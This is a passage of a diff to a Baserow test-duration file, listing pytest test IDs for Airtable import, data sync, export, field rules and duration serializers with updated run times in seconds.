"tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_quill_to_markdown_airtable_example": 0.013298416015459225, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_quill_to_markdown_airtable_example_two_lists": 0.012576999986777082, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_unknown_value_to_human_readable": 0.012573710002470762, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_gallery_view": 0.012694374046986923, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_gallery_view_with_cover_column": 0.012928875046782196, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_gallery_view_with_cover_column_type_fit": 0.012847666977904737, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_gallery_view_with_incompatible_cover_column": 0.01271908200578764, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_gallery_view_with_unknown_cover_column": 0.012692665972281247, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view": 0.01299633301096037, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_color_config_color_definitions": 0.015776417014421895, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_color_config_select_column": 0.01546704099746421, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_color_config_select_column_not_existing_column": 0.014872290979837999, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_empty_filters": 0.015407832979690284, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_field_order_and_visibility": 0.01280550003866665, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_filters_and_groups": 0.017022125015500933, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_group_by_field_not_found": 0.012635083985514939, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_group_by_field_unsupported": 0.012910084013128653, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_group_by_order_unsupported": 0.012670125026488677, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_group_bys": 0.01284620797378011, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_sort_field_not_found": 0.012679457984631881, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_sort_field_unsupported": 0.012865959026385099, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_sorts": 0.012715249031316489, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_unknown_row_height": 0.012705458007985726, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_grid_view_xlarge_row_height": 0.012782166973920539, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_locked_view": 0.012718832993414253, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_personal_view": 0.012708333961199969, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_view_in_section_name": 0.012740209000185132, + "tests/baserow/contrib/database/airtable/test_airtable_view_types.py::test_import_view_in_section_order": 0.013173207989893854, + "tests/baserow/contrib/database/api/actions/test_database_action_views.py::test_asking_for_an_unknown_scope_returns_an_error": 0.16236983402632177, + "tests/baserow/contrib/database/api/actions/test_database_action_views.py::test_can_undo_a_database_action_and_get_correct_response_code": 0.1865014580253046, + "tests/baserow/contrib/database/api/airtable/test_airtable_views.py::test_create_airtable_import_job": 0.41864166597952135, + "tests/baserow/contrib/database/api/airtable/test_airtable_views.py::test_create_airtable_import_job_long_share_id": 0.3491480000084266, + "tests/baserow/contrib/database/api/airtable/test_airtable_views.py::test_create_airtable_import_job_skip_files": 0.35733058501500636, + "tests/baserow/contrib/database/api/airtable/test_airtable_views.py::test_create_airtable_import_job_with_session": 0.3589736249996349, + "tests/baserow/contrib/database/api/airtable/test_airtable_views.py::test_get_airtable_import_job": 0.23466199898393825, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_async_sync_data_sync_table": 0.4444257910363376, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_async_sync_data_sync_table_already_running": 0.39163283197558485, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_async_sync_data_sync_table_failed_sync": 0.4085412500135135, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_async_sync_data_sync_table_invalid_data_sync": 0.32916954200481996, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_async_sync_data_sync_table_job_with_deleted_table": 0.45400212600361556, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_async_sync_data_sync_table_job_with_trashed_table": 0.4124169169808738, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_async_sync_data_sync_table_unauthorized": 0.4621295839897357, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_async_sync_data_sync_table_unauthorized_after_job_created": 0.38549099999363534, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_can_undo_redo_create_data_sync": 0.32421241703559645, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_cannot_create_row_without_two_way_data_sync": 0.38207737501943484, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_cannot_delete_row_without_two_way_data_sync": 0.3651881259866059, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_create_data_sync": 0.16103649997967295, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_create_data_sync_invalid_polymorphic_property": 0.09485291701275855, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_create_data_sync_invalid_type": 0.09300595801323652, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_create_data_sync_no_permissions": 0.09796462499070913, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_create_data_sync_with_auto_add_new_properties": 0.14690737501950935, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_create_data_sync_with_two_way_sync_unsupported_type": 0.10159120798925869, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_create_data_sync_without_data": 0.09543895800015889, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_create_data_sync_wrong_properties": 0.10592362398165278, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync": 0.14040691597620025, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_no_permission": 0.24262420696322806, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_not_found": 0.09818795896717347, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_properties": 0.09177995802019723, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_properties_invalid_data": 0.08950320896110497, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_properties_of_data_sync": 0.15796004197909497, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_properties_of_data_sync_does_not_exist": 0.09497199897305109, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_properties_of_data_sync_no_permissions": 0.24157991603715345, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_properties_of_data_sync_unauthorized": 0.1476420009857975, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_get_data_sync_properties_unauthorized": 0.017391918023349717, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_update_data_sync": 0.20984891601256095, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_update_data_sync_auto_add_new_properties": 0.16900408201036043, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_update_data_sync_enable_two_way_sync_unsupported_type": 0.1367362070013769, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_update_data_sync_invalid_kwargs": 0.1332213749701623, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_update_data_sync_invalid_synced_properties": 0.26000070897862315, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_update_data_sync_no_permissions": 0.2244124169810675, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_update_data_sync_not_existing_data_sync": 0.09421320800902322, + "tests/baserow/contrib/database/api/data_sync/test_data_sync_views.py::test_update_data_sync_not_providing_anything": 0.13841458299430087, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_csv_table_writes_file_to_storage": 0.2247780830366537, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_csv_with_formatted_number_field": 0.28886512405006215, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_csv_writes_file_to_storage": 0.3094079169968609, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_missing_table_returns_error": 0.09319420901010744, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_missing_view_returns_error": 0.12077345798024908, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_table_without_permissions_returns_error": 0.1963907500030473, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_view_which_isnt_for_table_returns_error": 0.1442473339557182, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_getting_missing_export_job_returns_error": 0.09149970801081508, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_getting_other_users_export_job_returns_error": 0.20696441698237322, + "tests/baserow/contrib/database/api/export/test_export_views.py::test_unknown_export_type_for_table_returns_error": 0.1149185830145143, + "tests/baserow/contrib/database/api/field_rules/test_field_rules_api.py::test_create_field_rule": 0.17441645899089053, + "tests/baserow/contrib/database/api/field_rules/test_field_rules_api.py::test_create_field_rule_uniq": 0.15797808300703764, + "tests/baserow/contrib/database/api/field_rules/test_field_rules_api.py::test_create_rule_invalid_payloads[payload0]": 0.12466070897062309, + "tests/baserow/contrib/database/api/field_rules/test_field_rules_api.py::test_create_rule_invalid_payloads[payload1]": 0.11989991698646918, + "tests/baserow/contrib/database/api/field_rules/test_field_rules_api.py::test_create_rule_invalid_payloads[payload2]": 0.12362879200372845, + "tests/baserow/contrib/database/api/field_rules/test_field_rules_api.py::test_field_rule_delete": 0.1522636669978965, + "tests/baserow/contrib/database/api/field_rules/test_field_rules_api.py::test_field_rule_update": 0.1628175000369083, "tests/baserow/contrib/database/api/fields/dependencies/test_dependency_rebuilder.py::test_formula_fields_will_be_rebuilt_to_depend_on_each_other": 0.03728457800025353, "tests/baserow/contrib/database/api/fields/dependencies/test_dependency_rebuilder.py::test_rebuilding_a_link_row_field_creates_dependencies_with_vias": 0.06154920500193839, "tests/baserow/contrib/database/api/fields/dependencies/test_dependency_rebuilder.py::test_rebuilding_with_a_circular_ref_will_raise": 0.03759005200481624, @@ -2385,636 +4359,847 @@ "tests/baserow/contrib/database/api/fields/dependencies/test_update_collector.py::test_can_only_trigger_update_for_rows_joined_to_a_starting_row_across_a_m2m": 0.17688980399543652, "tests/baserow/contrib/database/api/fields/dependencies/test_update_collector.py::test_can_trigger_update_for_rows_joined_to_a_starting_row_across_a_m2m_and_back": 0.1735762239950418, "tests/baserow/contrib/database/api/fields/dependencies/test_update_collector.py::test_update_statements_at_the_same_path_node_are_grouped_into_one": 0.18126694500097074, - "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_api_create_created_by_field_type": 0.1766322499997841, - "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_api_create_created_by_field_type_row": 0.19238874999973632, - "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_api_delete_created_by_field_type": 0.17275187500035827, - "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_api_update_created_by_field_type": 0.17954904100042768, - "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_created_by_field_type_batch_insert_rows": 0.17656349899880297, - "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_created_by_field_type_dont_change_when_batch_update_rows": 0.44957787500061386, - "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_update_row_dont_change_created_by_fields_values": 0.32670529000006354, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-123-saved_value64]": 0.007971623999765143, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-1d 123-saved_value63]": 0.007667999998375308, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-2h 3s-saved_value65]": 0.00829333199908433, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-3661-saved_value18]": 0.008135208998282906, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-None-None]": 0.00813983499938331, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm-123-saved_value62]": 0.007679917000132264, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm-1d 123-saved_value61]": 0.007889166998211294, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm-3661-saved_value17]": 0.008872583999618655, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm-None-None]": 0.007851540998672135, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-0-saved_value9]": 0.010567625002295244, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1 1-saved_value41]": 0.009474084001340088, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1 1:01:01.123-saved_value76]": 0.007776707996526966, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1 1h-saved_value44]": 0.008773834002568037, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1.123-saved_value77]": 0.00773066699730407, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-12h-saved_value47]": 0.009613376001652796, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1794.0-saved_value30]": 0.009529541999654612, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1800-saved_value31]": 0.008481333999952767, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1d 1-saved_value45]": 0.009077082999283448, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1d 1h-saved_value43]": 0.008578834000218194, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1d1-saved_value46]": 0.00884395899993251, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1d1h-saved_value42]": 0.00848608300111664, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-29:59.999-saved_value78]": 0.00807666699802212, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-30:00-saved_value79]": 0.007725166999080102, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-30:00.001-saved_value80]": 0.00760375099889643, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-3600-saved_value10]": 0.007913916000688914, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-3d-saved_value48]": 0.008623666997664259, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-90000-saved_value11]": 0.008343958999830647, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-90000.123-saved_value29]": 0.009336542001619819, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-None-None]": 0.007565375000922359, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-0-saved_value12]": 0.007728459000645671, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1 1:01-saved_value49]": 0.008125084001221694, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1 1:01:01.123-saved_value81]": 0.008244917000411078, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1 1:1-saved_value52]": 0.008227375999922515, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1.123-saved_value82]": 0.007468292000339716, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1d 1:01-saved_value51]": 0.01042770899948664, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1d 1:1-saved_value54]": 0.00845991700043669, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1d1:01-saved_value50]": 0.008487249999234336, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1d1:1-saved_value53]": 0.008313457999975071, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-29-saved_value32]": 0.008405541000684025, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-29.999-saved_value83]": 0.007751126000584918, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-30-saved_value33]": 0.007914166000773548, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-30-saved_value84]": 0.007833207999283331, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-30.001-saved_value85]": 0.007861374999265536, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-3660-saved_value13]": 0.007766874998196727, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-86400-saved_value14]": 0.007596416999149369, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-None-None]": 0.00760074999925564, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-0-saved_value15]": 0.00850491500023054, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-0.49-saved_value34]": 0.007733457998256199, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-0.5-saved_value35]": 0.007738957998299156, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-0.5-saved_value90]": 0.00773983299950487, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1 1:01:01-saved_value55]": 0.008537999001418939, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1 1:01:01.123-saved_value86]": 0.007707500000833534, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1 1:1:1-saved_value58]": 0.009223375000146916, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1.123-saved_value87]": 0.007710458001383813, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1d 1:01:01-saved_value57]": 0.00881900000058522, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1d 1:1:1-saved_value60]": 0.008652873999380972, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1d1:01:01-saved_value56]": 0.008464706999802729, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1d1:1:1-saved_value59]": 0.00822895800047263, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-29.999-saved_value88]": 0.00783775000127207, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-3661-saved_value16]": 0.008868166001775535, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-70-saved_value89]": 0.008151665997502278, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-None-None]": 0.007635958001628751, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-0-saved_value0]": 0.007964750000610366, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-1:01-saved_value36]": 0.008362874998056213, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-1:01:01.123-saved_value66]": 0.007645291998414905, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-1:01:01.999-saved_value67]": 0.007806834999428247, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-3660-saved_value1]": 0.00772283300102572, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-3661.123-saved_value19]": 0.008068125000136206, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-3661.999-saved_value20]": 0.008181542001693742, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-86400-saved_value2]": 0.007741166000414523, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-None-None]": 0.00764158199672238, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-0-saved_value3]": 0.008269833000667859, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-1:01:01-saved_value37]": 0.00783774999945308, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-1:01:01.123-saved_value68]": 0.007995500001925393, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-1:01:01.789-saved_value69]": 0.007620375001351931, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-3661-saved_value4]": 0.008228874999986147, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-3661.123-saved_value21]": 0.007933541999591398, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-3661.789-saved_value22]": 0.007943375001559616, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-None-None]": 0.007697584000197821, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-1:01:01.1-saved_value38]": 0.007568665998405777, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-1:01:01.123-saved_value70]": 0.007640792000529473, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-1:01:01.789-saved_value71]": 0.007726584000920411, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-3661.1-saved_value5]": 0.008223625000027823, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-3661.123-saved_value23]": 0.007895000999269541, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-3661.789-saved_value24]": 0.007932418002383201, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-None-None]": 0.007678750002014567, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-1:01:01.12-saved_value39]": 0.007756291999612586, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-1:01:01.123-saved_value72]": 0.007705750000241096, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-1:01:01.789-saved_value73]": 0.008329001000674907, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-3661.12-saved_value6]": 0.00782608399822493, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-3661.123-saved_value25]": 0.007829874999515596, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-3661.789-saved_value26]": 0.00820404200203484, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-None-None]": 0.007494748999306466, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-0-saved_value7]": 0.007645875000889646, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-1:01:01.123-saved_value40]": 0.00840487499954179, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-1:01:01.1234-saved_value74]": 0.00841000000036729, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-1:01:01.6789-saved_value75]": 0.007846292000976973, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-3661.123-saved_value8]": 0.009119333000853658, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-3661.1234-saved_value27]": 0.0077570409994223155, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-3661.6789-saved_value28]": 0.0077156260012998246, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-None-None]": 0.008293124999909196, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h mm-1h1h0]": 0.007735998999123694, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h mm-1h1h1]": 0.0075564999988273485, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h-1d1d]": 0.008164791001036065, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h-1dd]": 0.007893251002315083, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h-1h1h]": 0.007733333999567549, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h-1hh]": 0.007676417000766378, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:m-86400000000001.0]": 0.007578125998406904, + "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_api_create_created_by_field_type": 0.1463698760198895, + "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_api_create_created_by_field_type_row": 0.17632954102009535, + "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_api_delete_created_by_field_type": 0.15547299897298217, + "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_api_update_created_by_field_type": 0.1610420820361469, + "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_created_by_field_type_batch_insert_rows": 0.15883825003402308, + "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_created_by_field_type_dont_change_when_batch_update_rows": 0.3144247079908382, + "tests/baserow/contrib/database/api/fields/test_created_by_views.py::test_update_row_dont_change_created_by_fields_values": 0.2516187080182135, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-123-saved_value64]": 0.012778459000401199, + 